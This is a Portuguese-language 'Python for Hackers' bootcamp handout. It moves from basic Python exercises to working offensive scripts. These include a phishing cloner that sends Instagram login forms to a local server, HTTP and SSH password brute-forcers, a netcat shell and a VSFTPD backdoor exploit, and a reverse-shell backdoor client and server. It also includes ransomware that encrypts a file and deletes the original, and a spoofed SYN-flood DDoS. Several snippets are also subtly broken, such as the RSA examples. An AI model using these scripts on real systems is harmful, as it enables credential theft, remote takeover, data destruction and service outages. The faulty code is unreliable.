Python for Hackers - Bootcamp

Joas Antonio

https://www.linkedin.com/in/joas-antonio-dos-santos

My Channel YouTube

Python bootcamp coming soon

https://www.youtube.com/channel/UCFvueUEWRfQ9qT9UmHCw_og

Part 1

Input Data

```
nome = str(input("Digite o seu Nome: "))
idade = int(input("Digite a sua idade: "))
altura = float(input("Digite a sua altura: "))
print(nome)
print(idade)
print(altura)
```

Simple Calc

```
var1 = float(input("Digite o primeiro valor: "))
var2 = float(input("Digite o segundo valor: "))

print("1","1")

print('Soma: ', var1,'+',var2,'=', var1+var2)
print('Soma: ', var1,'-',var2,'=', var1-var2)
print('Soma: ', var1,'*',var2,'=', var1*var2)
print('Soma: ', var1,'/',var2,'=', var1/var2)
print('Soma: ', var1,'**',var2,'=', var1**var2)
print('Soma: ', var1,'%',var2,'=', var1%var2)
```

Types of Variables

```
nome = 'joas'
idade = 20
altura = 1.70
calculo = 5+2j
verdade = False

tipo_nome = type(nome)
tipo_idade = type(idade)
tipo_altura = type(altura)
tipo_calculo = type(calculo)
tipo_verdade = type(verdade)

print(tipo_nome)
print(tipo_idade)
print(tipo_altura)
print(tipo_calculo)
print(tipo_verdade)
```

List

```
lista = ['corsa', 'tesla', 123, True]
print(lista)

print(len(lista))
print(type(lista))
```

Dictionary

```
dados = {
    'Nome' : 'Joas',
    'Endereco' : 'Av Paulista'
    }
dados['Idade'] = 25
print(dados)

print(type(dados))
```

Tuple

```
times = ('corinthians', 'palmeiras', 'flamengo', 'vasco')
print(times[0])
print(type(times))
```

Conditional Structure

```python
idade = 25

if idade < 12:
    print("Criança")
elif idade < 18:
    print("Adolescente")
elif idade < 60:
    print("Adulto")
else:
    print("idoso")

#print("Joas,'Jogador','proplayer'""""""""")
```

Logical Operators

```python
numero = 10

if numero == 10:
    print("O valor é igual 10")
if numero != 8:
    print("O valor é diferente de 10")
if numero < 11:
    print("O valor é menor do que 11")
if numero > 5:
    print("O valor é maior do que 5")
if numero <= 11:
    print("O valor é menor ou igual a 8")
if numero >= 10:
    print("O valor é maior ou igual a 10")

#and
#or
#not
```

Logical Operators #2

```
var1 = 10
var2 = 7

if var1 > 3 and var2 > 1000:
    print("As duas condições são verdadeiras")
if var1 > 11 or var2 > 11:
    print("Uma ou mais condinções sao verdadeiras")
if not(var1 > 1117 and var2 > 117):
    print("Umas das condições é falsa")
else:
    print("Encerrando")

#print("Joas,'Jogador','proplayer'""""""""")
```


Looping Structure

```
#for x in range(100):
#    print(x)

i = 0
while True:
    print(i)
    if i ==  3000:
        break
    i += 100
```

Create File

```
with open('readme.txt', 'w') as f:
    f.write('test')

lines = ['Readme', 'Esse é um arquivo criado pelo python', 'dsdsd', 'Matheus', 'ls -lha']
with open('readme2.sh', 'w') as f:
    for linha in lines:
        f.write(linha)
        f.write('\n')

more_lines = ['add', 'the end']
with open('readme2.txt', 'a') as f:
    f.write('\n'.join(more_lines))

f = open("readme2.txt", "r")
print(f.read())
```

Simple Menu

```
while True:
    print("programa básico")
    print("1 - Cadastro\n")
    print("2 - Criador\n")
    menu = str(input("Digite a opcao desejada: "))
    if menu == "1":
        print("\nBem vindo ao sistema de cadastro")
        nome = str(input("Digite o seu nome: "))
        print(nome)
        idade = int(input("Qual é a sua idade? "))
        print(idade)
        peso = float(input("Qual é o seu peso? "))
        print(peso)
        print(f"Seu nome é {nome}, sua idade é {idade} o seu peso é {peso}")
    elif menu == "2":
        print("\n Curso Black Hat Python")
    else:
        print("Opção inexistente")
        break
```

Part 2

Asynchronous

```python
import asyncio
import aiohttp
import time

start_time = time.time()

async def get_pokemon(session, url):
    async with session.get(url) as resp:
        pokemon = await resp.json()
        return pokemon['name']


async def main():

    async with aiohttp.ClientSession() as session:

        tasks = []
        for number in range(1, 150):
            url = f'https://pokeapi.co/api/v2/pokemon/{number}'
            tasks.append(asyncio.ensure_future(get_pokemon(session, url)))

        original_pokemon = await asyncio.gather(*tasks)
        for pokemon in original_pokemon:
                print(pokemon)

asyncio.run(main())
print("%s Tempo percorrido" % (time.time() - start_time))



#async def hello_world():
 #   print("Hello...")
  #  await asyncio.sleep(5)
   # print("World")
#asyncio.run(hello_world())
```

Class

```python
class animal:
    atributo1 = "papagaio"
    atributo2 = "cachorro"

    def funcao(self):
        print("Esse animal é", self.atributo1)
        print("Esse animal é", self.atributo2)

nomeanimal = animal()

print(nomeanimal.atributo2)
```

Exception

```python
a = 12
b = 0
try:
    y = a/b
    print(y)
except ZeroDivisionError:
    print("Erro na divisão por zero")

lista = [1,2,3,4]
try:
    parser = lista[6]
except IndexError:
    print("Erro na indexação, não existe esse valor especifico")
finally:
    print("Esta tudo bem")
```

Function

```python
def helloworld(meunome, idade):
    print(f'Olá {meunome}, sua idade é {idade}')
def helloworld2(meunome2, idade2):
    print("f'Ola {meunome2}, sua idade é {idade2}")
meunome2 = input("blalbalbal")
idade2 = input("hfehfhfhe")
meunome = str(input("Digite o seu nome: "))
idade = input("Digite a sua idade: ")
helloworld(meunome, idade)
helloworld2(meunome2, idade2)

def calcular_pagamento(qtdhoras, valorhora, qtdtaxas):
    horas = float(qtdhoras)
    impostos = float(valorhora)
    taxas = float(qtdtaxas)
    if horas <= 40:
        salario = horas*impostos
    elif horas >= 60:
        salario = horas*impostos
    elif horas == 50:
        salario = horas*impostos*taxas
    else:
        horas_extras = horas * 40
        salario = 40*impostos(horas_extras*(1.5*impostos))
    return salario

horas = input("Digite as horas trabalhadas: ")
impostos = input("Digite os impostos: ")
taxas = input("Digite os valores das taxas: ")
total = calcular_pagamento(horas, impostos, taxas)
print("O valor do seu salário é", total)
```

Create Phishing Page

```
from bs4 import BeautifulSoup
import requests

URL = "http://www.instagram.com"
resposta = requests.get(URL)

bs = BeautifulSoup(resposta.text, "lxml")

formularios = bs.find_all("form")

for formulario in formularios:
    formulario["action"] = "http://10.0.0.115:8080"

with open("index.html", "w") as pagina:
    pagina.write(str(bs))
print("Pagina foi clonada")
```


Create GUI with Tkinter

```
import tkinter as tk

root= tk.Tk()

canvas1 = tk.Canvas(root, width = 300, height = 300)
canvas1.pack()

def hello ():
    label1 = tk.Label(root, text= 'Hello World!', fg='blue', font=('helvetica', 12, 'bold'))
    canvas1.create_window(150, 200, window=label1)

button1 = tk.Button(text='Click Me', command=hello, bg='brown',fg='white')
canvas1.create_window(150, 150, window=button1)

root.mainloop()
```


Scapy Example

```
>>> sniff(count=4)
<Sniffed: TCP:4 UDP:0 ICMP:0 Other:0>
>>> a = _
>>> a.summary()
Ether / IP / TCP 10.0.0.115:50778 > 69.16.175.42:https A / Raw
Ether / IP / TCP 10.0.0.115:55572 > 72.25.64.32:https A / Raw
Ether / IP / TCP 69.16.175.42:https > 10.0.0.115:50778 A
Ether / IP / TCP 10.0.0.115:50155 > 52.6.25.218:https A / Raw
>>>
```

```
>>> sniff(count=4, prn=lambda x: x.summary())
Ether / IP / TCP 23.23.190.22:https > 10.0.0.115:50826 SA
Ether / IP / TCP 23.23.190.22:https > 10.0.0.115:50824 PA / Raw
Ether / IP / TCP 23.23.190.22:https > 10.0.0.115:50825 PA / Raw
Ether / IP / TCP 10.0.0.115:50826 > 23.23.190.22:https A
<Sniffed: TCP:4 UDP:0 ICMP:0 Other:0>
>>>
```

```
>>> sniff(iface="eth0", prn=lambda x: x.summary())
```

Part 3

Brute Force HTTP

```
import requests
url = input("Enter Target Url: ")
username = input("Enter Target Username: ")
error = input("Enter Wrong Password Error Message: ")
try:
    def bruteCracking(username,url,error):
        for password in passwords:
            password = password.strip()
            print("Trying:" + password)
            data_dict = {"uname": username,"pass": password, "login":'submit'}
            response = requests.post(url, data=data_dict)
            if error in str(response.content):
               pass
            elif "csrf" in str(response.content):
                 print("CSRF Token Detected!! BruteF0rce Not Working This Website.")
                 exit()
            else:
                 print("Username: ---> " + username)
                 print("Password: ---> " + password)
                 exit()
except:
       print("Some Error Occurred Please Check Your Internet Connection !!")
with open("wordlist.txt", "r") as passwords:
     bruteCracking(username,url,error)
print("[!!] password not found in password list")
```

Brute Force SSH

```python
# Paramiko é uma Lib para implementação e gerenciamento de acesso SSH
import paramiko
host = "10.0.0.139"
usuario = "mrrobot"
senhas = ["root", "toor", "msfadmin", "test123"]
#senhas = "wordlist.txt"
#Cria um objeto para se conectar ao servidor SSH
conexao = paramiko.SSHClient()
#Cria e adiciona chaves para a conexao SSH
conexao.set_missing_host_key_policy(paramiko.AutoAddPolicy())

# Aqui eu crio uma variavel wordlist que vai abrir o arquivo wordlist.txt
#wordlist = open(senhas, "r")
#for senha in wordlist:

# Um loop para ele testar as senhas dentro do dicionario
for senha in senhas:
    try:
        #conecta-se ao servidor SSH. Caso não seja possivel conectar por usuario e senha invalido ele gera uma exceção
        conexao.connect(host, username=usuario, password=senha, timeout=1)
    #qualquer erro é de bom agrado!
    except:
        pass
    else:
        print("User:", usuario)
        print("Pass:", senha)
        break
    finally:
        conexao.close()
```

Portscanner

```python
import socket

alvo = input("Digite o IP: ")

for porta in range(1, 65535):

    cliente = socket.socket()
    cliente.settimeout(0.05)

    if cliente.connect_ex((alvo,porta)) == 0:
        print("A porta esta aberta --->", porta)
```

Using regex to read logfile

```
import re

logfile="sample-log.log"

#logreg="\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}"
logreg2="https?://(?:[-\w.]|(?:%[\da-fA-Z]{2}))+"

with open(logfile) as f:
    fread = f.read()
    ipinfo = re.findall(logreg2, fread)
    print(ipinfo)
```


Scapy ping

```
from scapy.all import *

endereco = input("Digite o IP: ")

ip = IP()
ping = ICMP()
ip.destino = endereco
reply = sr1(ip/ping)
if reply.ttl < 65:
    os = "Linux"
else:
    os = "Windows"
print("O sistema alvo é: " + os)
```

Create Socket

```python
import socket
import os

HOST = "10.0.0.115"
PORT = 4231

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen()

    con, end = s.accept()

    with con:
        print(f"Conectado um dispositivo {end}")
        os.system("nc -nvlp 4444 -e cmd.exe")
        while True:
            data = con.recv(1024)
            if not data:
                break
            con.sendall(data)
```


VSFTPD Exploit

```python
import socket,os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.139", 21))
r = s.recv(1024)
s.send(b"USER test:)\r\n")
s.send(b"PASS 1234\r\n")
print("Explorando...")
os.system("nc -nv 10.0.0.139 6200")
```

Part 4

Backdoor Server/Client

```python
import socket

HOST = '10.0.0.130'
PORT = 4231

server = socket.socket()

server.bind((HOST, PORT))
print("Servidor iniciado")
print("Aguardando cliente se conectar")

server.listen(1)

client, client_end = server.accept()
print(f"{client_end} cliente conectado no servidor")

while True:
        command = input('Insira os comandos: ')
        command = command.encode()
        client.send(command)
        print('Comando enviado')
        saida = client.recv(1024)
        saida = saida.decode(encoding='iso8859-1')
        print(f"Saida: {saida}")
```

```python
import socket
import subprocess

REMOTE_HOST = '10.0.0.130'
REMOTE_PORT = 4231

client = socket.socket()
print("Iniciando conexao....")

client.connect((REMOTE_HOST, REMOTE_PORT))
print("Conexao iniciada")

while True:
    print("Aguardando os comandos")
    comando = client.recv(1024)
    comando = comando.decode()

    op = subprocess.Popen(comando, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

    saida = op.stdout.read()
    erro_saida = op.stderr.read()
    print("Enviando a resposta")
    client.send(saida + erro_saida)
```

Burp Suite Plugin #1

```
# -*- coding: utf-8 -*-
from burp import IBurpExtender
from java.io import PrintWriter
from java.lang import RuntimeException

class BurpExtender(IBurpExtender):

    def registerExtenderCallbacks(self, callbacks):

        callbacks.setExtensionName("Hello World")

        stdout = PrintWriter(callbacks.getStdout(), True)
        stderr = PrintWriter(callbacks.getStderr(), True)

        stdout.println("Aconteceu uma saida")

        stderr.println("Aconteceu um erro")

        callbacks.issueAlert("Alertas acontecendo")

        raise RuntimeException("Aconteceu uma excessão")
```

Burp Suite Plugin #2

```
# -*- coding: utf-8 -*-
from burp import IBurpExtender
from java.io import PrintWriter
from java.lang import RuntimeException

class BurpExtender(IBurpExtender):

    def registerExtenderCallbacks(self, callbacks):

        callbacks.setExtensionName("Hello World 2")

        for x in xrange(1,100):
            string = "hello " + str(x)
            callbacks.printOutput(string)
        return
```


Burp Suite Plugin #3

```
# -*- coding: utf-8 -*-

from burp import IBurpExtender

from burp import IHttpListener
from java.io import PrintWriter

HOST_FROM = "10.0.0.139"

HOST_TO = "www.pudim.com.br"

class BurpExtender(IBurpExtender, IHttpListener):

    def registerExtenderCallbacks(self, callbacks):
        self._helpers = callbacks.getHelpers()

        callbacks.setExtensionName("Redirect")

        self.stdout = PrintWriter(callbacks.getStdout(), True)
        self.stdout.println("Debug esta habilitado")

        callbacks.registerHttpListener(self)

    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):

        self.stdout.println("Debug: Ele esta entrando na funcao processHttpMessage")

        if not messageIsRequest:
            self.stdout.println("Debug: Isso não é uma requisicao valida")
            return

        httpService = messageInfo.getHttpService()
        self.stdout.print("Debug: Entrando no httpservice")
        self.stdout.println(httpService)
        self.stdout.print("Debug: Entrando no httpservice.gethost()")
        self.stdout.println(httpService.getHost())
        self.stdout.print("Debug: Entrando na HOST_TO")
        self.stdout.println(HOST_TO)
        self.stdout.print("Debug: Entrando no HOST_FROM")
        self.stdout.println(HOST_FROM)

        if(HOST_FROM == httpService.getHost()):
            self.stdout.println("Debug: HOST_TO e HOST_FROM são os mesmos IPs")
            messageInfo.setHttpService(self._helpers.buildHttpService(HOST_TO, httpService.getPort(), httpService.getProtocol()))
            self.stdout.println("Debug: Se o HOST_FROM for diferente mude para o HOST_TO")
            self.stdout.println(httpService)
```

Web Fuzzing

```python
import requests

import io

from fake_useragent import UserAgent

ua = UserAgent()

user_agent = ua.random

host="https://www.faculdadevincit.edu.br/"

word = 'wordlist.txt'

with open(word) as wl:
    line = wl.readline()

    while line:
        combinar = host+line.strip()
        r = requests.get(combinar, headers={'User-Agent': user_agent})
        if r.status_code == 200:
            print(combinar)
        line = wl.readline()
```

Cloning website

```
from pywebcopy import save_webpage

kwargs = {'project_name': 'uniciv site'}

save_webpage(
    url='https://tcm-sec.com/',
    project_folder='pycopy/',
    **kwargs
    )
```

Ransomware Create

```python
import os
import pyaes

file_name = "arquivotest.txt"
file = open(file_name, "rb")
file_data = file.read()
file.close()

os.remove(file_name)

key = b"blackhatpythoncs"
aes = pyaes.AESModeOfOperationCTR(key)

crypto_data = aes.encrypt(file_data)

new_file = file_name + ".hacked"
new_file = open(f'{new_file}', "wb")
new_file.write(crypto_data)
new_file.close()
```

```python
import os
import pyaes

file_name = "arquivotest.txt.hacked"
file = open(file_name, "rb")
file_data = file.read()

key = b"blackhatpythoncs"
aes = pyaes.AESModeOfOperationCTR(key)
decrypt_data = aes.decrypt(file_data)

new_file = "decrypt.txt"
new_file = open(f'{new_file}', "wb")
new_file.write(decrypt_data)
new_file.close()
```

HTTP Methods

```python
# Importar a biblioteca requests
import requests
# passar uma variavel com o host
host = "http://testphp.vulnweb.com/"
# passar os métodos existentes
metodos = ['OPTIONS', 'GET', 'POST', 'DELETE', 'TRACE', 'CONNECT']
# Criar um for loop para ele testar cada metodo
for metodo in metodos:
    # vai validar cada metodo existente para ver se funciona no host
    resposta = requests.request(metodo, host)
    print(metodo, "->", resposta.reason)
```

Disassembler

```python
#pip install pyelftools
# import os modulos ELFFile para analisar arquivos ELF
from elftools.elf.elffile import ELFFile
# E o modulo capstone que ajuda no disassembler
from capstone import *

print("JOAS ANTONIO")
# Abaixo seleciono o arquivo que ele vai abrir e ler
with open('.\test.elf', 'rb') as f:   #change the file name to what you are performing reverse engineering
    # aqui ele vai abrir o arquivo elffile
    elf = ELFFile(f)
    # coleta seção .text que retorna os trechos relacionados a código
    code = elf.get_section_by_name('.text')
    # é a referência à instrução que um determinado processador possui para conseguir realizar determinadas tarefas.
    ops = code.data()                 # retorna uma bytestring com os opcodes
    # Se esta seção aparecer na imagem de memória de um processo, este membro contém o endereço no qual o primeiro byte da seção deve residir.
    addr = code['sh_addr']            # endereço inicial de `.text`
    # Definição da arquitetura da aplicação, seja ela compilada em x86 ou x64
    md = Cs(CS_ARCH_X86, CS_MODE_64)
    for i in md.disasm(ops, 0x7aa):    #  percorrendo cada opcode
        # Aqui ele vai trazer opcodes, seja endereços de memória
# mnemônicos são usados para especificar um opcode que representa uma instrução de linguagem de máquina completa e operacional
# Por fim a representação do objeto
        print(f"0x{i.address:x}:\t{i.mnemonic}\t{i.op_str}") #retornando cada opcode, endereço, string e menomonic que são as instruções
```

PEfile

```python
import pefile

def func1():
    file = input("Nome do arquivo: ")
    pe = pefile.PE(file)
    pe.print_info()
    print("e_magic: " + hex(pe.DOS_HEADER.e_magic))

if __name__ == '__main__':
    func1()
```


Part 5

RSA Encrypt

```
import rsa

# generate public and private keys with
# rsa.newkeys method,this method accepts
# key length as its parameter
# key length should be atleast 16
publicKey, privateKey = rsa.newkeys(512)

# this is the string that we will be encrypting
message = "RSAA_Flag_Secret"

# rsa.encrypt method is used to encrypt
# string with public key string should be
# encode to byte string before encryption
# with encode method
encMessage = rsa.encrypt(message.encode(),
                         publicKey)

print("original string: ", message)
print("encrypted string: ", encMessage)

decMessage = rsa.decrypt(message, privateKey).decode()

print("decrypted string: ", decMessage)
```

RSA Decode

```
#import Crypto
from Crypto.PublicKey import RSA
from Crypto import Random

f = open ('encryption.txt', 'r')
message = f.read()

decrypted = key.decrypt(message)

print('decrypted', decrypted)

f = open ('encryption.txt', 'w')
f.write(str(message))
f.write(str(decrypted))
f.close()
```

DDoS

```python
from scapy.all import *
import threading
def flood():
    #Envia um pacote com a origem randomica para a um alvo na porta 80
    pacote = IP(src=RandIP("*.*.*.*"), dst="10.0.0.139") / TCP(dport=80)
    #Envia um pacote após o outro sem nenhum intervalo entre os pacotes com loop infinito
    send(pacote, loop=1, inter=0)
for x in range(200):
    threading.Thread(target=flood).start()
```

Nmap

```
# pip install python-nmap
import nmap

# começar da porta 75
begin = 75
end = 443
target = '127.0.0.1'

# aqui chamamos a funçao do portscanner da biblioteca nmap
scanner = nmap.PortScanner()



# criamos um for loop para realizar o scanner em cada uma das portas
for i in range(begin,end+1):


    res = scanner.scan(target,str(i))

    res = res['scan'][target]['tcp'][i]['state']

    print(f'port {i} is {res}.')
```